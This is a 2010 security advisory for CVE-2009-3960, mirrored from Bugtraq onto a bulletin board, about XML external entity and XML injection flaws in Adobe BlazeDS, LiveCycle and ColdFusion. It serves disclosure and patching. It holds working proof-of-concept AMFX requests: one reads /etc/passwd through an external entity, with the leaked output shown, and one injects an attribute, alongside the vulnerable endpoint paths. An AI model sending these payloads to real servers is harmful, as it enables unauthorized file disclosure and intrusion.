Multiple Adobe Products - XML External Entity And XML Injection

看板Bugtraq作者時間16年前 (2010/02/24 02:01), 編輯推噓0(000)
留言0則, 0人參與, 最新討論串1/1
( , ) (, . `.' ) ('. ', ). , ('. ( ) ( (_,) .`), ) _ _, / _____/ / _ \ ____ ____ _____ =20 \____ \=3D=3D/ /_\ \ _/ ___\/ _ \ / \=20 / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq=20 (x.0) '=3D.|w|.=3D' _=3D'`"``=3D. presents.. Multiple Adobe Products XML External Entity And XML Injection Vulnerabilities CVE: CVE-2009-3960 Adobe PSIRT: APSB10-05 - http://www.adobe.com/support/security/bulletins/ap= sb10-05.html Link: http://www.security-assessment.com/files/advisories/2010-02-22_Multip= le_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf +-----------+ |Description| +-----------+ Security-Assessment.com discovered that multiple Adobe=20 products with different Data Services versions are=20 vulnerable to XML External Entity (XXE) and XML=20 injection attacks.=20 XML external Entities injection allows a wide range of XML based attacks, including local file disclosure,=20 TCP scans and Denial of Service condition, which can=20 be achieved by recursive entity injection, attribute=20 blow up and other types of injection.=20 For more information about the implications associated to this vulnerability, refer to the RFC2518 (17.7=20 Implications of XML External Entities):=20 http://www.ietf.org/rfc/rfc2518.txt +--------------+ |Product Review| +--------------+ Adobe Data Services components provide Flex/RIA=20 applications with data messaging, remoting and=20 management capabilities. The discovered vulnerabilities affect the HTTPChannel servlet classes which are respectively=20 =E2=80=9Cmx.messaging.channels.HTTPChannel=E2=80=9D and=20 =E2=80=9Cmx.messaging.channels.SecureHTTPChannel=E2=80=9D. These=20 classes are part of the Data Services Messaging=20 classes and can be found in the=20 flex-messaging-common.jar Java archive. The HTTPChannel transports data in the AMFX format,=20 which is the text-based XML representation of AMF.=20 The HTTPChannel endpoints are defined in the=20 services-config.xml file, located within the=20 Flex/WEB-INF folder of the application.=20 By default, the HTTPChannel classes are mapped to=20 the following endpoints: 1. http://{server.name}:{server.port}/{context.root}/messagebroker/http 2. https://{server.name}:{server.port}/{context.root}/messagebroker/httpsec= ure Note that the HTTPChannel may be mapped to different=20 endpoints.=20 This depends on the deployed application and the=20 framework in use (e.g. BlazeDS, Adobe LiveCycle=20 Data Services, etc.). +--------------------------------------------+ |Exploitation - XML External Entity Injection| +--------------------------------------------+ XML entities can be declared and included within AMFX requests passed to the HTTPChannel. The XML parser=20 parses the payload and successfully processes=20 injected entities. The following table shows an example of XML external entity injection which leads to local file disclosure. The AMFX request is sent via the HTTPChannel endpoint in BlazeDS. XML External Entity Injection =E2=80=93 Local File Disclosure PoC =E2=80=93 BlazeDS =E2=80=93 Request POST /samples/messagebroker/http HTTP/1.1 Content-type: application/x-amf <?xml version=3D"1.0" encoding=3D"utf-8"?> <!DOCTYPE test [ <!ENTITY x3 SYSTEM "/etc/passwd"> ]> <amfx ver=3D"3" xmlns=3D"" rel="nofollow">http://www.macromedia.com/2005/amfx"> <body> <object type=3D"flex.messaging.messages.CommandMessage"> <traits> <string>body</string><string>clientId</string><string>correlationId= </string> <string>destination</string><string>headers</string><string>message= Id</string> <string>operation</string><string>timestamp</string><string>timeToL= ive</string> </traits><object><traits /> </object> <null /><string /><string /> <object> <traits> <string>DSId</string><string>DSMessagingVersion</string> </traits> <string>nil</string><int>1</int> </object> <string>&x3;</string> <int>5</int><int>0</int><int>0</int> </object> </body> </amfx> XML External Entity Injection =E2=80=93 Local File Inclusion PoC =E2=80=93 BlazeDS =E2=80=93 Response <?xml version=3D"1.0" encoding=3D"utf-8"?> <amfx ver=3D"3"><header name=3D"AppendToGatewayUrl" mustUnderstand=3D"true"= > <string>;jsessionid=3D2191D3647221B72039C5B05D38084A42</string></header> <body targetURI=3D"/onResult" responseURI=3D""> <object type=3D"flex.messaging.messages.AcknowledgeMessage"> <traits><string>timestamp</string><string>headers</string> <string>body</string><string>correlationId</string> <string>messageId</string><string>timeToLive</string> <string>clientId</string><string>destination</string> </traits><double>1.257387140632E12</double><object> <traits><string>DSMessagingVersion</string> <string>DSId</string></traits><double>1.0</double> <string>BDE929FE-270D-3B56-1061-616E8B938429</string> </object><null/><string>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh [...] The above injection was successfully tested on=20 multiple Adobe products, as shown below: 1. Product: Adobe BlazeDS 3.2.0.39 Linux Ubuntu 9.04 / Tomcat 6.0.14 Endpoint URIs: {server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure=09 Methods: POST, GET Protocols: HTTP, HTTPS 2. Adobe LiveCycle Data Services ES2 3.0 Windows XP SP2 / Tomcat 6.0.14 Endpoint URIs: {server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure=09 Methods: POST, GET Protocols: HTTP, HTTPS 3. ColdFusion 9.0 Windows XP SP2 / Tomcat 6.0.14 Endpoint URIs: {server.name}:{server.port}/ {context.root}/flex2gateway/http {server.name}:{server.port}/ {context.root}/flex2gateway/httpsecure=09 Methods: POST, GET Protocols: HTTP, HTTPS 4. Adobe LiveCycle ES2 Windows XP SP2 / IBM Websphere 7.0 Endpoint URIs: {server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure=09 Methods: POST, GET Protocols: HTTP, HTTPS The vendor has released several patches for this=20 vulnerability. See the Solution section of this=20 document for more information. +----------------------------+ |Exploitation - XML Injection| +----------------------------+ The XML parser lacks of proper input and output=20 validation controls. Security-Assessment.com managed to inject arbitrary XML content which was returned in the XML response.=20 The following table shows an XML injection in the=20 BlazeDS HTTPChannel. The injected payload becomes=20 part of the response. In this case, injection is=20 possible via the =E2=80=9CresponseURI=E2=80=9D attribute. XMLInjection =E2=80=93 BlazeDS - Request POST /samples/messagebroker/http HTTP/1.1 Content-type: application/x-amf <?xml version=3D"1.0" encoding=3D"utf-8"?> <amfx ver=3D"3"><body targetURI=3D"" responseURI=3D"d&quot; injectedattr=3D= &quot;anything"><null/> </body></amfx> XMLInjection =E2=80=93 BlazeDS - Response <?xml version=3D"1.0" encoding=3D"utf-8"?> <amfx ver=3D"3"><body targetURI=3D"d" injectedattr=3D"anything" responseURI= =3D""><null/></body></amfx></body></amfx> The above injection was successfully tested on=20 multiple Adobe products, as shown below: 1. Product: Adobe BlazeDS 3.2.0.39 Linux Ubuntu 9.04 / Tomcat 6.0.14 Endpoint URIs: {server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure=09 Methods: POST, GET Protocols: HTTP, HTTPS 2. Adobe LiveCycle Data Services ES2 3.0 Windows XP SP2 / Tomcat 6.0.14 Endpoint URIs: {server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure=09 Methods: POST, GET Protocols: HTTP, HTTPS 3. ColdFusion 9.0 Windows XP SP2 / Tomcat 6.0.14 Endpoint URIs: {server.name}:{server.port}/ {context.root}/flex2gateway/http {server.name}:{server.port}/ {context.root}/flex2gateway/httpsecure=09 Methods: POST, GET Protocols: HTTP, HTTPS 4. Adobe LiveCycle ES2 Windows XP SP2 / IBM Websphere 7.0 Endpoint URIs: {server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure=09 Methods: POST, GET Protocols: HTTP, HTTPS The vendor has released several patches for this=20 vulnerability. See the Solution section of this=20 document for more information. +--------+ |Solution| +--------+ Security-Assessment.com follows responsible disclosure and promptly contacted the vendor after=20 discovering the issues. The vendor was contacted on=20 the 6th November 2009 and a reply was received on the same day. The vendor released security patches on=20 the 11th February 2010. =20 The security patches can be downloaded at the=20 following website:=20 http://www.adobe.com/support/security/bulletins/apsb10-05.html +------+ |Credit| +------+ Discovered and advised to Adobe in November 2009 by Roberto Suggi Liverani of Security- Assessment.com. Personal Page: http://malerisch.net/ For full details regarding this vulnerability download the PDF from our website: http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Ado= be_Products-XML_External_Entity_and_XML_Injection.pdf +---------+ |Greetings| +---------+ Bug found at Hack in The Sun 2009, Waiheke Island. +-----------------------------+ |About Security-Assessment.com| +-----------------------------+ Security-Assessment.com is a New Zealand based world leader in web application testing, network security and penetration testing. Security-Assessment.com services organisations across New Zealand, Australia, Asia Pacific, the United States and the United Kingdom. Roberto Suggi Liverani
文章代碼(AID): #1BX1VgvQ (Bugtraq)